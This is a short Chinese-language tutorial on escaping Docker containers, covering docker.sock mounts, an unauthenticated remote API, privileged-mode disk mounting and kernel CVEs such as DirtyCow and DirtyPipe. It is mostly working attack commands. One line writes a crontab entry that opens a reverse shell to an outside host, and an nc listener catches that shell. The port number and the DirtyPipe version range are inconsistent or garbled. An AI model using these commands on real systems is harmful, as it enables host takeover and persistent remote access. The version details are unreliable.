Docker逃逸初探

Docker逃逸入门

  • ls -alh /.dockerenv Docker 环境下存在 .dockerenv 文件
  • cat /proc/1/cgroup Docker 环境下包含 docker 字样

1.危险挂载逃逸

1.1 挂载 docker.sock 导致逃逸

容器内安装 docker 客户端 CLI

1
2
3
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

挂载完成后,启动一个挂载宿主机根目录的特权容器,完成简单逃逸:

1
docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash

2.不当配置逃逸

docker remote api 2.1 未授权访问导致逃逸

docker开启了HTTP服务,访问开放的2379端口可导致未授权的远程访问逃逸.

1
http://your-ip:2375/version

开启后本地使用 docker -H 命令连接后创建新特权容器进行docker逃逸.

3.特权模式(Privileged)逃逸

管理员执行 docker run —privileged 时,Docker容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。
使用 fdisk -l 查看磁盘文件

1
2
mkdir /disk1
mount /dev/vda1 /disk1

此时这个 disk1 文件夹就相当于对方主机的根目录,可以进行写文件操作。
通过Crontab进行反弹Shell利用:

1
echo '* * * * * bash -i >& /dev/tcp/vps-ip/8888 0>&1' >> /disk1/var/spool/cron/root

写入crontab定时任务反弹shell到对应公网主机
攻击机配置:监听8888端口获取反弹Shell

1
nc -lvp 8888

4.内核漏洞逃逸

Docker使用共享宿主主机内核,因此当宿主机内核存在内核漏洞时,Docker也会一并受到影响导致Docker逃逸.

4.1 CVE-2016-5195 DirtyCow 逃逸

1
uname -r

如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞

4.2 CVE-2020-14386

1
uname -r

如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞

4.3 CVE-2022-0847 DirtyPipe 逃逸

1
uname -r

如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞